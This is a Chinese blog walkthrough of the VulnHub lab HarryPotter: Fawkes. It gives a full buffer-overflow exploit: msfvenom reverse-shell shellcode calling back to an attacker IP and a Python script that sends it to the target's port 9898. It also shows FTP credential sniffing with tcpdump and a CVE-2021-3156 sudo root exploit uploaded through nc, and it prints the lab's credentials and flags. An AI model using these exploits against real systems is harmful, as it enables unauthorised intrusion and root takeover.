【VulnHub靶场】——HARRYPOTTER第三部: FAWKES
作者名:Demo不是emo?
主頁(yè)面鏈接:主頁(yè)傳送門
創(chuàng)作初心:對(duì)于計(jì)算機(jī)的學(xué)習(xí)者來(lái)說,初期的學(xué)習(xí)無(wú)疑是最迷茫和難以堅(jiān)持的,我也剛接觸計(jì)算機(jī)1年,也在不斷的探索,在CSDN寫博客主要是為了分享自己的學(xué)習(xí)歷程,學(xué)習(xí)方法,總結(jié)的經(jīng)驗(yàn)等等,希望能幫助到大家
座右銘:不要讓時(shí)代的悲哀成為你的悲哀
專研方向:網(wǎng)絡(luò)安全,web安全
每日emo:第18次夢(mèng)見
?
今天的博客內(nèi)容是HARRYPOTTER: FAWKES教程(困難難度),靶場(chǎng)環(huán)境來(lái)源于VulnHub,該網(wǎng)站有很多虛擬機(jī)靶場(chǎng),靶場(chǎng)入口在這,推薦大家使用,大家進(jìn)去直接搜索HARRYPOTTER: FAWKES就能下載今天的靶場(chǎng),也可以找我拿,開始對(duì)今天靶場(chǎng)的介紹?
這是哈利波特vm系列靶場(chǎng)的第三個(gè)靶場(chǎng),總共有三個(gè)靶場(chǎng),其中隱藏了8個(gè)魂器,前兩部的靶場(chǎng)中我們已經(jīng)找到了隱藏的5個(gè)魂器,今天這個(gè)靶場(chǎng)中隱藏了三個(gè),意思就是今天的靶場(chǎng)有三個(gè)flag,話不多說我們來(lái)仔細(xì)瞧瞧
靶場(chǎng)地址HarryPotter: Fawkes ~ VulnHub
目錄
一:攻擊準(zhǔn)備
二:信息收集?
1.http服務(wù)探測(cè)
2.ftp服務(wù)探測(cè)
三:信息利用?
1.緩存區(qū)溢出漏洞?
2.edb-debugger調(diào)試
1.關(guān)閉防護(hù)
2.安裝edb-debugger
3.開始調(diào)試
4.確認(rèn)漏洞
5. 尋找溢出位置
四.滲透實(shí)操
1.生成payload
2.構(gòu)造exp
3.普通權(quán)限
4.初步提權(quán)
5.tcpdump流量分析
6.最終提權(quán)?
一:攻擊準(zhǔn)備
虛擬機(jī)下載下來(lái)直接在vbox導(dǎo)入就可以,如果出現(xiàn)了報(bào)錯(cuò),就把啟用usb控制器關(guān)掉就可以正常打開了?
??這里除了到vulnhub下載到的目標(biāo)虛擬機(jī)環(huán)境,還需要一臺(tái)kali,并且兩臺(tái)處于同一網(wǎng)段(可以都用橋接模式),虛擬機(jī)管理設(shè)備用vm和virtual均可,我這里就用virtual來(lái)給大家演示了,如下面這樣就是搭建完成了,具體搭建過程就不多講了,不懂得也可以私信問我?
?
??(因?yàn)槲疫@是校園網(wǎng),有防護(hù)所以c段不同,這里都用橋接模式即可,而且靶機(jī)也顯示了ip地址,不一定要跟我一樣,只要能ping通就可以進(jìn)行靶場(chǎng)操作了)
二:信息收集?
這里看到,我的kali攻擊機(jī)的ip是172.21.43.89,而目標(biāo)機(jī)器的ip是172.21.48.36,既然知道了對(duì)方的ip,我們直接用nmap掃描工具詳細(xì)掃描一下,掃描結(jié)果如下:
?以看到成功探測(cè)到了21,22,80,2222,9898,下面我們就來(lái)嘗試?yán)眠@些端口做進(jìn)一步的滲透
1.http服務(wù)探測(cè)
?上方的掃描結(jié)果可以看到目標(biāo)開啟了80端口,并且運(yùn)行的是http服務(wù),說明目標(biāo)開啟了網(wǎng)頁(yè)服務(wù),我們直接使用瀏覽器訪問目標(biāo)的ip看看有沒有什么有用的信息
?可以看到只有一張圖片,而且f12開發(fā)者頁(yè)面也沒有什么有用的信息,通常靶場(chǎng)出現(xiàn)的圖片都帶有隱寫術(shù)的使用,但是本題經(jīng)過測(cè)試并沒有,所以還是老規(guī)矩直接目錄掃描,這里我們使用dirsearch目錄遍歷工具來(lái)探測(cè)
?命令如下(把目標(biāo)ip換成你們自己靶機(jī)的)
dirsearch -u "http://172.21.81.133" -e *結(jié)果如下
可以看到并沒有什么有用信息,所以80端口的探測(cè)只能先暫停了?
2.ftp服務(wù)探測(cè)
?根據(jù)上面我們掃描出來(lái)的信息可以看到目標(biāo)的ftp服務(wù)存在匿名登錄漏洞,我想我們應(yīng)該可以從這個(gè)漏洞入手
FTP的匿名登錄一般有三種:
1、 用戶名:anonymous 密碼:Email或者為空
2、 用戶名:FTP 密碼:FTP或者為空
3、 用戶名:USER 密碼:pass??
經(jīng)過登錄嘗試發(fā)現(xiàn)目標(biāo)的ftp服務(wù)用戶名為anonymous,密碼為空,?
??
?現(xiàn)在我們已經(jīng)成功登陸了目標(biāo)的ftp服務(wù),現(xiàn)在我們來(lái)看看作者留給了我們什么信息
?
?可以看到該服務(wù)下有一個(gè)server_hogwarts文件(暫時(shí)不知道啥用),老規(guī)矩,我們用get命令下載到本地,由于我們不知道這個(gè)文件的作用,所以我們用file命令來(lái)查看文件,結(jié)果如下
?
可以看到這是一個(gè)基于linux的elf可執(zhí)行文件,既然是可執(zhí)行文件,,那我們就執(zhí)行試試,所以我們先給這個(gè)文件一個(gè)執(zhí)行權(quán)限,再執(zhí)行該文件,結(jié)果如下
?
?可以看到執(zhí)行后并沒有報(bào)錯(cuò)或爆出有效信息,但是卻一直在運(yùn)行,所以有沒有可能是在后臺(tái)或進(jìn)程運(yùn)行呢?所以我們來(lái)看看系統(tǒng)進(jìn)程,命令如下
ps -aux | grep server 顯示名字包含server的所有進(jìn)程ss -pantu | grep server 用ss查看已經(jīng)建立的并且名字帶有server的連接信息注:
* ps命令多用來(lái)查看進(jìn)程狀態(tài),平時(shí)用的也比較多,就不多講了
* ss 是 Socket Statistics 的縮寫。ss 命令可以用來(lái)獲取 socket 信息,對(duì)ss命令感興趣的同志可以點(diǎn)這里查看
查看到的結(jié)果如下圖:
?可以看到這個(gè)server_hogwarts這個(gè)進(jìn)程正在運(yùn)行中。并且運(yùn)行的端口號(hào)和我們?cè)趻呙璺?wù)版本時(shí)同樣是9898端口。
根據(jù)上面nmap掃描出來(lái)的信息可以發(fā)現(xiàn)9898端口運(yùn)行的服務(wù)是monkeycom,根據(jù)我查閱的資料發(fā)現(xiàn)monkeycom是一種比較老的服務(wù)器,但是我還是不太理解,我們換個(gè)思路,既然server_hogwarts程序運(yùn)行在9898端口,那我們就直接監(jiān)聽9898端口,看看有什么效果
因?yàn)槲覀冋谶\(yùn)行server_hogwarts程序,所以我們直接用nc工具監(jiān)聽本地的9898端口即可?
?可以看到是一個(gè)輸入命令的頁(yè)面,提示我們輸入魔法指令,還給出了常用的魔法指令,但是我們?cè)佥斎牒蟛]有得到有用的信息,但因?yàn)檫@個(gè)是一個(gè)輸入點(diǎn),所以我們可以考慮輸入點(diǎn)常見的漏洞——緩存區(qū)溢出漏洞
三:信息利用?
1.緩存區(qū)溢出漏洞?
?緩沖區(qū)溢出(buffer overflow),是針對(duì)程序設(shè)計(jì)缺陷,向程序輸入緩沖區(qū)寫入使之溢出的內(nèi)容(通常是超過緩沖區(qū)能保存的最大數(shù)據(jù)量的數(shù)據(jù)),從而破壞程序運(yùn)行、趁著中斷之際并獲取程序乃至系統(tǒng)的控制權(quán)。
而緩存區(qū)溢出漏洞最重要的就是找出緩存區(qū)溢出的位置,這里我們使用edb-debugger調(diào)試工具來(lái)動(dòng)態(tài)測(cè)試server_hogwarts進(jìn)程并找出緩存區(qū)溢出漏洞的溢出位置
2.edb-debugger調(diào)試
edb-debugger是一個(gè)跨平臺(tái)的 AArch32 / x86 / x86-64 調(diào)試器,具體使用步驟如下
1.關(guān)閉防護(hù)
我們是通過ftp服務(wù)下載server_hogwarts到本地來(lái)調(diào)試,目的就是找出它的緩存溢出位置,但是kali本機(jī)存在ALSR安全技術(shù),地址空間隨機(jī)化,會(huì)造成內(nèi)存地址的隨機(jī)化,導(dǎo)致我們無(wú)法確定緩沖區(qū)溢出的位置。所以要關(guān)閉。
步驟:如下圖,cd到/proc/sys/kernel目錄下把randomize_va_space改成0即可
2.安裝edb-debugger
?安裝命令如下
apt install edb-debugger安裝之后如下圖,輸入edb即可啟動(dòng)并打開調(diào)試界面
3.開始調(diào)試
注意:到這里時(shí)前面的server_hogwarts文件需要保持運(yùn)行狀態(tài),而且9898端口的連接也不要斷開
點(diǎn)擊左上角的file——attach
?找到我們要調(diào)試的進(jìn)程,就是剛才我們運(yùn)行的server_hogwarts,選中點(diǎn)擊ok即可
?再點(diǎn)擊運(yùn)行(就是我用紅圈劃出來(lái)的按鍵)即可開始調(diào)試這個(gè)進(jìn)程
4.確認(rèn)漏洞
因?yàn)槲覀円獊?lái)調(diào)試緩存區(qū)溢出漏洞, 所以就需要大量的數(shù)據(jù),這里我們先用python生成500個(gè)A來(lái)試試,生成命令如下:
python -c "print('A'*500)"把生成的500個(gè)A復(fù)制到剛才nc監(jiān)聽9898端口的輸入位置,回車再進(jìn)行分析
可以看到這里出現(xiàn)了報(bào)錯(cuò),提示我們0×41414141的內(nèi)存位置出現(xiàn)了錯(cuò)誤,這時(shí)說明已經(jīng)調(diào)試到了錯(cuò)誤的位置,即確實(shí)存在代碼溢出漏洞,我們點(diǎn)擊ok,詳細(xì)查看一下錯(cuò)誤信息
?注:這里的EIP寄存器存儲(chǔ)的是下一個(gè)指令的內(nèi)存地址(可以理解為調(diào)試工具需要根據(jù)EIP才知道下一個(gè)調(diào)試的指令),而ESP存儲(chǔ)器存儲(chǔ)的是是的具體指令,?
攻擊思路:我們可以通過修改EIP的內(nèi)容,從而使指令跳轉(zhuǎn)到ESP,強(qiáng)制執(zhí)行ESP的指令。如果ESP的指令是反彈shell的指令,就可以反彈shell。
5. 尋找溢出位置
既然確認(rèn)了目標(biāo)存在緩存區(qū)溢出漏洞,就需要找到緩存區(qū)溢出的位置,從而知道該從哪里插入攻擊代碼,同樣的我們還是生成大量數(shù)據(jù)。
注:這里就不能像上面一樣都生成A了,因?yàn)閿?shù)據(jù)如果都一樣的話就不知道溢出的位置在哪里,我們需要通過報(bào)錯(cuò)的地方判斷出溢出位置
這里我們使用msf生成500無(wú)規(guī)律排列的字符,代碼如下
msf-pattern_create -l 500重啟edb,和上面同樣的操作開啟調(diào)試,此時(shí)將msf生成的無(wú)規(guī)律字符輸入,此時(shí)頁(yè)面如下
?此時(shí)的報(bào)錯(cuò)提示我們0×64413764內(nèi)存位置有問題,那這個(gè)位置很有可能就是想找的溢出位置,我們來(lái)找一下這個(gè)內(nèi)存位置在輸入?yún)^(qū)的位置
查詢溢出位置
msf-pattern_offset -l 500 -q 64413764?可以看到偏移量為112,所以64413764就是在113個(gè)位置,當(dāng)然這里也可以再來(lái)驗(yàn)證一下,順便讓你們更深刻的理解一下EIP寄存器和ESP寄存器的位置關(guān)系
老樣子重啟edb,用下面的命令生成一段調(diào)試代碼,意思就是生成216個(gè)字符,前112個(gè)是A,然后是4個(gè)B,最后跟100個(gè)C
python -c "print('A'*112+'BBBB'+'C'*100)"再用edb調(diào)試,結(jié)果如下
?再次看到報(bào)錯(cuò)信息,此時(shí)提示0×42424242位置有問題,而42正是B的16進(jìn)制,說明沒啥問題,此時(shí)點(diǎn)擊ok查看EIP和ESP的內(nèi)容,內(nèi)容如下
可以發(fā)現(xiàn)EIP寄存器的內(nèi)容是BBBB,ESP寄存器內(nèi)容是CCCC?
再結(jié)合我們最開始的攻擊思路,生成一段反彈shell的代碼,并轉(zhuǎn)化為16進(jìn)制,放入ESP,再讓EIP指向ESP,就可以強(qiáng)制執(zhí)行ESP的代碼了,也就是反彈shell的代碼
但是這里我們不僅需要在ESP中放入payload,還需要讓EIP指向ESP,那怎樣指向呢?具體操作步驟如下
?在跳轉(zhuǎn)設(shè)置中選中ESP->EIP,即將ESP的內(nèi)存地址作為EIP的內(nèi)容,這樣就可以實(shí)現(xiàn)EIP指向ESP了,在左側(cè)選擇執(zhí)行此操作的進(jìn)程(注意要選擇有執(zhí)行權(quán)限的,就是r-x)
?此時(shí)點(diǎn)擊FInd就會(huì)找到ESP的內(nèi)存位置,選擇jmp esp的內(nèi)存地址,那就是我們要寫入EIP的內(nèi)容
?可以看到結(jié)果是08049d55,但是眾所周知機(jī)器命令中需要反寫,所以就是559d0408(兩位為一個(gè)16進(jìn)制),最后得出的16進(jìn)制結(jié)果就是\x55\x9d\x04\x08,這就是我們需要寫入EIP的內(nèi)容
四.滲透實(shí)操
1.生成payload
這個(gè)生成的payload就是我們用來(lái)放進(jìn)ESP并執(zhí)行的反彈shell代碼,但注意這里需要16進(jìn)制的payload,我們直接使用msfvenom來(lái)生成就可以了,代碼如下
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.21.36.188 LPORT=4444 -b "\x00" -f python注意這里的ip要換成你們自己的kali攻擊機(jī)ip,這里的反彈shell端口隨便定,只要不沖突都可以,生成結(jié)果如圖
?生成的paylao如下
buf = b"" buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31" buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30" buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d" buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee" buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd" buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd" buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41" buf += b"\x93\x1c\xc9\x02"2.構(gòu)造exp
上面我們已經(jīng)成功獲取payload,但并不是最終的payload,因?yàn)檫€要考慮緩存溢出位置的問題,并且這段代碼不能作出攻擊行為,所以我們還需要配合這個(gè)payload來(lái)寫個(gè)python腳本,生成最終的payload并編寫exp來(lái)攻擊,最后生成的exp如下
#!/usr/bin/python2 import sys,socket buf = b"" buf += b"\xb8\xd4\xbe\xd2\x98\xd9\xc3\xd9\x74\x24\xf4\x5d\x31" buf += b"\xc9\xb1\x12\x31\x45\x12\x03\x45\x12\x83\x39\x42\x30" buf += b"\x6d\xf0\x60\x42\x6d\xa1\xd5\xfe\x18\x47\x53\xe1\x6d" buf += b"\x21\xae\x62\x1e\xf4\x80\x5c\xec\x86\xa8\xdb\x17\xee" buf += b"\x86\x09\xcc\x52\xbe\x33\x0c\xbb\x63\xbd\xed\x0b\xfd" buf += b"\xed\xbc\x38\xb1\x0d\xb6\x5f\x78\x91\x9a\xf7\xed\xbd" buf += b"\x69\x6f\x9a\xee\xa2\x0d\x33\x78\x5f\x83\x90\xf3\x41" buf += b"\x93\x1c\xc9\x02"payload='A'*112+'\x55\x9d\x04\x08'+'\x90'*32+buf try:s=socket.socket()s.connect(('172.21.81.133',9898))s.send((payload))s.close() except:print('wrong')sys.exit()注:這里connect連接的是靶機(jī)的9898端口?
新建一個(gè)python文件存放上面的代碼
3.普通權(quán)限
先用nc監(jiān)聽最開始設(shè)置的反彈shell端口,再在本地執(zhí)行我們生成的python文件,具體操作如下
1.用nc監(jiān)聽 nc -lnvp 4444 2.執(zhí)行exp文件 ./exp.py結(jié)果如下?
?可以看到成功連接,是一個(gè)名為harry的普通用戶,并且在家目錄的harry目錄下,成功發(fā)現(xiàn)隱藏文件.mycreds.txt,打開后發(fā)現(xiàn)是一段類似密碼的字符串
HarrYp0tter@Hogwarts1234.初步提權(quán)
?看到了類似密碼的字符串,馬上就聯(lián)想到了前面探測(cè)出的22端口,并且harry用戶名我們也知道了,嘗試ssh登錄,發(fā)現(xiàn)失敗,但是最開始探測(cè)時(shí),22端口運(yùn)行的是ssh服務(wù),但是還有一個(gè)2222端口運(yùn)行的也是ssh服務(wù),所以我們?cè)賴L試一下2222端口的ssh登錄
成功登陸,嘗試進(jìn)一步信息收集
?但是進(jìn)一步操作時(shí)卻發(fā)現(xiàn)這臺(tái)機(jī)器居然處于docker容器中,這無(wú)疑給我們加大了很多難度
但是在使用sudo -l時(shí)發(fā)現(xiàn)sudo命令的可執(zhí)行者是ALL,就代表sudo存在配置問題,所以我們直接使用sudo -s成功拿到當(dāng)前docker容器的root權(quán)限
?成功在/root目錄下發(fā)現(xiàn)隱藏文件horcrux1.txt文件,這是本關(guān)的第一個(gè)flag,內(nèi)容如下:
?horcrux_{NjogSGFSclkgUG90VGVyIGRFc1RyT3llZCBieSB2b2xEZU1vclQ=}
還發(fā)現(xiàn)了一個(gè)note.txt文件,內(nèi)容如下
We have found that someone is trying to login to our ftp server by mistake.You are requested to analyze the traffic and figure out the user.?這段話大致意思就是提示我們?nèi)シ治鰂tp服務(wù)上的流量
5.tcpdump流量分析
?我們用tcpdump流量分析工具來(lái)監(jiān)聽21端口上ftp服務(wù)的流量(因?yàn)閯偛?strong>ip a命令只查看到了etho這一張網(wǎng)卡,所以我們猜測(cè)數(shù)據(jù)是基于這張網(wǎng)卡產(chǎn)生的),具體命令如下?
tcpdump -i eth0 port 21根據(jù)截取到的流量可以看到,三次握手中發(fā)出的數(shù)據(jù)包含了賬密,并且提示了我們這個(gè)賬密用于登錄,所以我們也成功拿到了賬密?
賬號(hào):neville
密碼:?bL!Bsg3k
?老樣子還是嘗試通過ssh連接,但是這里用22端口的ssh就可以登錄
?可以看到ssh成功登錄,并且ip a命令回顯了IP地址,確認(rèn)了我們現(xiàn)在已經(jīng)跳出了docker容器
?在家目錄的neville目錄下成功發(fā)現(xiàn)了第二個(gè)flag,內(nèi)容如下:
horcrux_{NzogTmFHaU5pIHRIZSBTbkFrZSBkZVN0cm9ZZWQgQnkgTmVWaWxsZSBMb25HYm9UVG9t}
6.最終提權(quán)?
?最開始嘗試了常規(guī)提權(quán)方法,sudo提權(quán),歷史命令,反彈shell等操作提權(quán),但均以失敗告終,此時(shí)就只能從系統(tǒng)層面入手了,所以我們先對(duì)系統(tǒng)進(jìn)行一次信息收集
可以發(fā)現(xiàn)這是一臺(tái)debian10,sudo的版本是1.8.27,我們上網(wǎng)搜索一下看是否存在漏洞?
?接著就是找exp,很幸運(yùn),在github上有針對(duì)該漏洞的exp,鏈接如下
CVE-2021-3156/exploit_nss.py at main · worawit/CVE-2021-3156 · GitHub
?直接在kali新建一個(gè)python文件,把代碼復(fù)制上去,注意這個(gè)代碼唯一需要修改的地方就是sudo的路徑,也就是下方我劃出來(lái)的位置,要改成跟目標(biāo)sudo一樣的路徑,像下面這樣就可以了
?因?yàn)榇藭r(shí)exp文件在kali上,而我們需要目標(biāo)執(zhí)行這個(gè)exp文件,所以我們用nc將這個(gè)exp文件上傳到目標(biāo)機(jī)器
目標(biāo)機(jī)器上執(zhí)行的下面的操作(exp.py就是接收時(shí)文件的保存名)
nc -nvlp 4444 > exp.py
kali攻擊機(jī)執(zhí)行下面的操作(exploit.py就是剛才創(chuàng)建的python文件)
nc 172.21.81.133 4444 < exploit.py -w 1
?
執(zhí)行結(jié)果如下:?
?可以看到成功提權(quán),已經(jīng)是root用戶
第三個(gè)也就是最后一個(gè)flag在root目錄下即可看見
?第三個(gè)flag內(nèi)容為
Here is your last hocrux:horcrux_{ODogVm9sRGVNb3JUIGRFZmVBdGVkIGJZIGhBcnJZIFBvVFRlUg==}
到此這個(gè)靶場(chǎng)就打完了,哈利波特系列的三個(gè)靶場(chǎng)也都結(jié)束了,恭喜你成功擊敗了最后一個(gè)魂器!?
真的淚目,三個(gè)靶場(chǎng)一個(gè)比一個(gè)難,但對(duì)我來(lái)說確實(shí)收獲很大,接觸了很多以前不知道的知識(shí),感謝自己沒有放棄,堅(jiān)持到了最后,同學(xué)們加油哇,respect!
總結(jié)
以上是生活随笔為你收集整理的【VulnHub靶场】——HARRYPOTTER第三部: FAWKES的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 数据结构练习题——线性表
- 下一篇: 数据结构——二叉树相关练习题